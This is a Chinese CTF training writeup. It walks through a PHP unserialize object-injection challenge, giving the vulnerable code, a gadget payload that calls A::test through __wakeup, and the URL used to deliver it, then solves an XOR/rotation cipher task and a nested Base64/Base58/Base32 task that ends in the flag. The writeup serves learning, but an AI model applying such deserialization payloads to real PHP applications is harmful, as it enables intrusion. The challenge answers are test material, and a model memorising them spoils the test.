XDU-CTF终端练习场训练Writeup

Web安全审计

php

phptrick

看一眼……怎么是反序列化啊啊啊啊……w(゚Д゚)w
当年去XDSEC面试的时候学长就让我去了解一下PHP反序列化,结果愣是学了好久
可能是这种代码确实比较难学吧,可以先去跟AI聊聊天,了解一些基础知识
怎么说呢,这种题目扔给AI它可以直接秒,但是AI给出的解答过程我们可能需要消化很久才能真正弄懂
先来了解一下PHP反序列化是什么吧

序列化:把对象转换成字符串
反序列化:把字符串还原成对象

举个栗子🌰,以 O:6:"Person":2:{s:4:"name";s:3:"Tom";s:3:"age";i:18;} 这段序列化字符串为例
例子

PHP还有一些魔术方法(哈哈哈听到“魔术”一定会觉得很神奇吧O(∩_∩)O

__construct():创建对象时触发
__destruct():销毁对象时触发
__wakeup():反序列化时触发 ⭐
__sleep():序列化时触发
__toString():对象被当作字符串时触发

先进入WSRX给的本地地址看一眼,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
highlight_file(__FILE__);

class A {
public function test() {
echo getenv('FLAG');
}
}

class B {
public $c;

public function __wakeup() {
($this->c)();
}
}

if (isset($_GET['data'])) {
$data = unserialize($_GET['data']);
}
?>

注意到class B 调用了__wakeup()魔术方法,在反序列化时会自动触发,执行 ($this->c)()
A类的 test() 包含 getenv('FLAG') ,是获取flag的目标方法
我们的目标是让 ($this->c)() 调用 A::test() 方法,需要一个数组格式的可调用对象:[对象实例, 方法名]
构造payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class A {
public function test() {
echo getenv('FLAG');
}
}

class B {
public $c;
}

$obj = new B();
$obj->c = [new A(), 'test']; // $c 指向 A::test()

echo serialize($obj);
// 输出:O:1:"B":1:{s:1:"c";a:2:{i:0;O:1:"A":0:{}i:1;s:4:"test";}}
?>

说实话这个有点难理解
P.S. php程序的运行方法就不做赘述了,实在懒的可以找一个在线网站,比如 php在线运行网站
最后一步,把payload附在URL后面(我服了之前刚学的时候不知道payload放哪里真的很破防
Like this:127.0.0.1:xxxxx/?data=O:1:”B”:1:{s:1:”c”;a:2:{i:0;O:1:”A”:0:{}i:1;s:4:”test”;}}
然后refresh一下页面,在原来代码的后面就会出现flag!恭喜捏( ̄▽ ̄)*

pop

我服了……第一眼看到MoeCTF 2025 第十九章 revenge^3就不想做了(〃>目<)

密码技术能力提升

Day1

BabyGo

已知Key和密文,根据go文件,可知加密脚本对明文先进行了异或运算,再进行循环左移3位的操作
(题目中是将左移3位和右移5位的两个结果按位或运算,经过长久的思考《不难》发现就相当于循环左移3位,溢出的部分从右边补回来,这样,就没有信息丢失了
(我也看不懂这个go文件,但是现在AI都这么发达了,至少我觉得DeepSeek把这个加密脚本分析得很好
所以解密就是要先将密文循环右移3位,然后再进行异或操作

Base套娃

题目中出现了“套娃”,于是我们《合理猜测》使用了多次不同种类的Base编码
那要怎么猜先用了哪种编码,后用了哪种编码呢?
以下为一些针对本道题目的知识补充,欲知详情请上网搜索更多资料

Base64 是一种基于 64 个可打印字符的编码方式,字符集包括大小写字母、数字以及符号 + 和 /。它将二进制数据每 3 个字节分为一组,转换为 4 个 Base64 字符。如果数据长度不是 3 的倍数,会用 “=” 填充。编码后的数据长度比原始数据增加约 33% 。

Base58 是 Base64 的一种变体,去除了易混淆的字符(如 0 和 O,I 和 l),并且不使用符号 + 和 /。它主要用于需要高可读性和低错误率的场景。避免了易混淆字符,减少人工输入错误,适合需要手动输入的场景。

Base32 编码是使用 32 个可打印字符(字母 A-Z 和数字 2-7 )对任意字节数据进行编码的方案,编码后的字符串不用区分大小写并排除了容易混淆的字符,可以方便地由人类使用并由计算机处理。Base32 的填充符通常是 “=” ,而且数量可以是 0~6 个。

Base16 使用16个ASCII可打印字符(数字0-9和字母A-F),对任意字节数据进行编码。Base16编码后的数据量是原数据的两倍。因为8比特数据按照4比特切分刚好是两组,所以Base16不可能用到填充符号 “=” 。

使用Python的同学,脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import base64
s = "MjlEcXlyTktTYkdUcnVSOW1EbkhRcmk2VUtlemdOWFg1SmRydEZHMmtCelRDUGF6UmFWMVlTWDZMZ2lGdGJiYktMaVROdGJRS3pSRlc2TTdYQ2FaYXBxOWZ4TUU0MlFLdzdp"
# 因为常见的 Base64 编码开头通常是 M、N、Q 等,这个密文以 Mj 开头,所以我们可以先试一下 Base64 解码。
print(base64.b64decode(s).decode())
# 得到第一次Base64解密后的字符串:29DqyrNKSbGTruR9mDnHQri6UKezgNXX5JdrtFG2kBzTCPazRaV1YSX6LgiFtbbbKLiTNtbQKzRFW6M7XCaZapq9fxME42QKw7i
# 注意观察,这个密文中没有出现易混淆的字符,所以推测为Base58

import base58
t = "29DqyrNKSbGTruR9mDnHQri6UKezgNXX5JdrtFG2kBzTCPazRaV1YSX6LgiFtbbbKLiTNtbQKzRFW6M7XCaZapq9fxME42QKw7i"
print(base58.b58decode(t).decode())
# 得到第二次Base58解密后的字符串:MZWGCZ33MFTDOYTGMQ2GCLJXGM4TSLJUHBTGMLJYGA4GILJQMFQTQOBYMFRTOMBYMZ6Q====
# 这次解密完以后全部变成了大写字母和数字2~7,并且末尾有四个 “=” ,是明显的Base32编码

q = "MZWGCZ33MFTDOYTGMQ2GCLJXGM4TSLJUHBTGMLJYGA4GILJQMFQTQOBYMFRTOMBYMZ6Q===="
print(base64.b32decode(q).decode())
# 发现解密完得到了flag:flag{af7bfd4a-7399-48ff-808d-0aa888ac708f}

当然也可以用CyberChef或者其他方法做